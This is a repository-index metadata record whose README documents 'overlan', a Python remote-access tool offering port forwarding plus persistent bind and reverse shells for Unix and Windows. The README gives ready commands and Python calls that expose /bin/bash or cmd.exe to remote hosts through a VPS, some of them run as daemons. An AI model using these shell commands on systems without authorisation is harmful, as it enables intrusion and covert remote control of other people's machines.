{"id":19767910,"url":"https://github.com/yannbouyeron/overlan","last_synced_at":"2026-05-15T02:13:42.184Z","repository":{"id":41207098,"uuid":"508733145","full_name":"YannBouyeron/overlan","owner":"YannBouyeron","description":"Python Remote Access Tools","archived":false,"fork":false,"pushed_at":"2024-05-11T14:21:27.000Z","size":61,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-01-11T00:28:38.830Z","etag":null,"topics":["bind-shell","connect","listen","port-forwarding","python","rat","reverse-shell","ssh","tcp"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/YannBouyeron.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-06-29T14:48:24.000Z","updated_at":"2024-05-11T14:21:30.000Z","dependencies_parsed_at":"2024-11-12T04:33:27.291Z","dependency_job_id":"6e4d1019-280f-414d-821d-f45d13e39235","html_url":"https://github.com/YannBouyeron/overlan","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YannBouyeron%2Foverlan","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YannBouyeron%2Foverlan/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YannBouyeron%2Foverlan/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YannBouyeron%2Foverlan/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/YannBouyeron","download_url":"https://codeload.github.com/YannBouyeron/overlan/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":241100274,"owners_count":19909681,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bind-shell","connect","listen","port-forwarding","python","rat","reverse-shell","ssh","tcp"],"created_at":"2024-11-12T04:33:17.235Z","updated_at":"2026-05-15T02:13:42.154Z","avatar_url":"https://github.com/YannBouyeron.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Overlan\n\n\nPython Remote Access Tools\n\n\n## Functionality\n\n- Remote port forwarding (http \u0026 tcp)\n- Local port forwarding (http \u0026 tcp)\n- TCP listen\n- TCP connect\n- Unbreakable Bind Shell\n- Unbreakable Reverse Shell\n- Auto spawn pty (Unix only)\n- AES derivation password protected\n- Cross Platform\n\n## Disclamer\n\nTHIS SOFTWARE IS INTENDED ONLY FOR EDUCATION PURPOSES! DO NOT USE IT TO INFLICT\nDAMAGE TO ANYONE! USING MY APPLICATION YOU ARE AUTHOMATICALLY AGREE WITH ALL RULES AND\nTAKE RESPONSIBITITY FOR YOUR ACTION! THE VIOLATION OF LAWS CAN CAUSE SERIOUS CONSEQUENCES!\nTHE DEVELOPER ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE\nCAUSED BY THIS PROGRAM.\n\n## Intended for\n\n+ Windows systems\n+ Unix systems\n\n\n## Requirements\n\n+ pycryptodome\n+ paramiko\n\n## Install Overlan\n\n\tgit clone https://github.com/YannBouyeron/overlan\n\n\tcd overlan\n\n\tpython3 setup.py install\n\t\n## Create SSH tunneling server and user on your VPS (Facultative)\n\nPort forwarding requires using your own VPS with an SSH server. This allows you to expose a local service such as a http web server or tcp listener or bind shell on the internet.\n\nCreate tunneling restricted user overlan:\n\n\tsudo adduser overlan\n\nGo to /etc/ssh \n\n\tcd /etc/ssh\n\nAdd resticted user overlan to sshd_config:\n \n\tMatch User overlan\n   \t\n\t\tAllowTcpForwarding yes\n   \t\n\t\tX11Forwarding yes\n   \t\n\t\tPermitTunnel yes\n   \t\n\t\tGatewayPorts yes\n   \t\n\t\tAllowAgentForwarding no\n   \t\n\t\t#PermitOpen localhost:62222\n   \t\n\t\tForceCommand echo \"no shell - only tunneling\"\n   \t\n\t\tPasswordAuthentication yes\n\nRestart sshd:\n\n\tsudo service sshd restart\n\nYou have now a restricted user:\n\n\t{\n\t\t\"hostname\":\"\u003cyour VPS IP\u003e\",\n\t\t\n\t\t\"username\":\"\u003coverlan or another username\u003e\"\n\n\t\t\"port\":\"\u003c22 or another port\u003e\"\n\n\t\t\"password\":\"\u003cyour secret password\u003e\"\n\n\t}\n\n\n**Security Warning: If GatewayPorts is yes, enable remote forwarded bind shell without AES encryption is very dangerous ! Anybody can scan your IP and discover port running your remote forwarded bind shell and connect to it !**\n\n\n## Commands Line Interface\n\n\n#### Listen\n\nListen on localhost port 4444\n\t\n\toverlan -l 4444\n\nListen on localhost port 4444 password protected\n\t\n\toverlan -l 4444 -k mysecret\n\nListen on port 4444 and remote forward to your VPS port 8888\n\t\n\toverlan -l 4444 -R username:hostname:port:password:8888\n\n#### Connect\n\nConnect to localhost port 4444\n\t\n\toverlan localhost 4444\n\nConnect to localhost port 4444 password protected \n\t\n\toverlan localhost 4444 -k mysecret\n\nConnect to your VPS port 4444\n\t\n\toverlan hostname 4444\n\n\n#### Port forwarding\n\n###### Overlan\n\nRemote forward localhost 4444 to your VPS port 8888\n\n\toverlan 4444 -R username:hostname:port:password:8888\n\nLocal forward from your VPS port 8888 to localhost 4444\n\n\toverlan 4444 -L username:hostname:port:password:8888\n\nLocal forward from your VPS port 8888 to 0.0.0.0 4444\n\n\toverlan 0.0.0.0 4444 -L username:hostname:port:password:8888\n\n###### SSH\n\nRemote forward localhost 4444 to your VPS port 8888 \n\n\tssh -N -R 8888:localhost:4444 username@hostname -p 22\n\nLocal forward localhost 4444 from your VPS port 8888 \n\n\tssh -N -L 4444:localhost:8888 username@hostname -p 22\n\n#### Bind Shell\n\nUnix\n\n- `overlan -l 4444 -e /bin/bash` - BindShell listen on localhost port 4444.\n\n- `overlan -l 4444 -e pty:/bin/bash` - Interactive PTY BindShell listen on localhost port 4444. (Don't support password)\n\n- `overlan -l 4444 -e pty:/bin/bash -R username:hostname:port:password:8888` - Interactive PTY BindShell listen on localhost port 4444 and remote forward to your VPS port 8888. (Don't support password)\n\n- `overlan -l 4444 -e /bin/bash -R username:hostname:port:password:8888` - BindShell listen on port 4444 and remote forward to your VPS port 8888.\n\t\n- `overlan -l 4444 -e /bin/bash -k mypassowrd` - Password protected BindShell listen on localhost 4444.\n\n- `overlan -l 4444 -e /bin/bash -k mypassword -R username:hostname:port:password:8888` - Password protected BindShell listen on port 4444 and remote forward to your VPS port 8888.\n\nWindows\n\n- `overlan -l 4444 -e cmd.exe` - BindShell listen on localhost port 4444.\n\n- `overlan -l 4444 -e cmd.exe -R username:hostname:port:password:8888` - BindShell listen on port 4444 and remote forward to your VPS port 8888.\n\t\n- `overlan -l 4444 -e cmd.exe -k mypassowrd` - Password protected BindShell listen on localhost port 4444.\n\n- `overlan -l 4444 -e cmd.exe -k mypassword -R username:hostname:port:password:8888` - Password protected BindShell listen on port 4444 and remote forward to your VPS port 8888.\n\n#### Reverse Shell\n\nUnix\n\n- `overlan localhost 4444 -e /bin/bash` - ReverseShell connect to listener on localhost port 4444.\n\n- `overlan localhost 4444 -e pty:/bin/bash` - Interactive PTY ReverseShell connect to listener on localhost port 4444. (Don't support password)\n\n- `overlan hostname 4444 -e /bin/bash` - ReverseShell connect to listener on your VPS port 4444.\n\n- `overlan localhost 4444 -e /bin/bash -k mypassowrd` - Password protected ReverseShell connect to localhost port 4444.\n\n- `overlan hostname 4444 -e /bin/bash -k mypassowrd` - Password protected ReverseShell connect to your VPS port 4444.\n\nWindows\n\n- `overlan localhost 4444 -e cmd.exe` - ReverseShell connect to listener on localhost port 4444.\n\n- `overlan hostname 4444 -e cmd.exe` - ReverseShell connect to listener on your VPS port 4444.\n\n- `overlan localhost 4444 -e cmd.exe -k mypassowrd` - Password protected ReverseShell connect to localhost port 4444.\n\n- `overlan hostname 4444 -e cmd.exe -k mypassowrd` - Password protected ReverseShell connect to your VPS port 4444.\n\n\n## Help\n\n- `overlan -h` - Print help message and exit.\n\n```\nusage: overlan [-h] [-l] [-e EXECUTE] [-c] [-R REMOTE] [-L LOCAL] [-k KEY]\n               [-d DELAY]\n               [host] port\n\npositional arguments:\n  host\n  port\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -l, --listen          Listen on port specified\n  -e EXECUTE, --execute EXECUTE\n                        Executable: /bin/bash, /bin/sh, cmd.exe\n  -c, --connect         Connect to host and port specified\n  -R REMOTE, --remote REMOTE\n                        Remote forward to\n                        \u003cusername\u003e:\u003chost\u003e:\u003cport\u003e:\u003cpassword\u003e:\u003cremote_port\u003e\n  -L LOCAL, --local LOCAL\n                        Local forward from\n                        \u003cusername\u003e:\u003chost\u003e:\u003cport\u003e:\u003cpassword\u003e:\u003cremote_port\u003e\n  -k KEY, --key KEY     Password for AES derivation key\n  -d DELAY, --delay DELAY\n                        Timeout delay\n```\n\n## Use within python\n\n\nUse on LAN:\n\n\n```\nfrom overlan import Overlan\n\nv = Overlan()\n\n```\n\nUse on internet: Specify your VPS SSH server:\n\n```\nfrom overlan import Overlan\n\nv = Overlan(username=\u003c...\u003e, hostname=\u003c...\u003e, port=\u003c...\u003e, password=\u003c...\u003e)\n \n```\n\nListen\n\n```\nv.listen(\u003cport\u003e)\n```\n\nConnect:\n\n```\nv.connect(\u003chost\u003e, \u003cport\u003e)\n```\n\nRemote forward:\n\n```\nv.rf(\u003clocal_port\u003e, \u003cremote_port\u003e)\n```\n\nLocal forward:\n\n```\nv.lf(\u003clocal_port\u003e, \u003cremote_port\u003e)\n```\n\nBindShell:\n\n```\n# linux\n\nv.listen(\u003cport\u003e, executable=\"/bin/bash\", key=\"somesecret\")\n\n# windows\n\nv.listen(\u003cport\u003e, executable=\"cmd.exe\", key=\"somesecret\")\n\n# as daemon\n\nv.bs(\u003cport\u003e, executable=\"/bin/bash\", key=\"somesecret\")\n```\n\nReverseShell:\n\n```\n#linux\n\nv.connect(\u003chost\u003e, \u003cport\u003e, executable=\"/bin/bash\", key=\"somesecret\")\n\n# windows\n\nv.connect(\u003chost\u003e, \u003cport\u003e, executable=\"cmd.exe\", key=\"somesecret\")\n\n# as daemon\n\nv.rs(\u003chost\u003e, \u003cport\u003e, executable=\"/bin/bash\", key=\"somesecret\")\n```\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyannbouyeron%2Foverlan","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyannbouyeron%2Foverlan","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyannbouyeron%2Foverlan/lists"}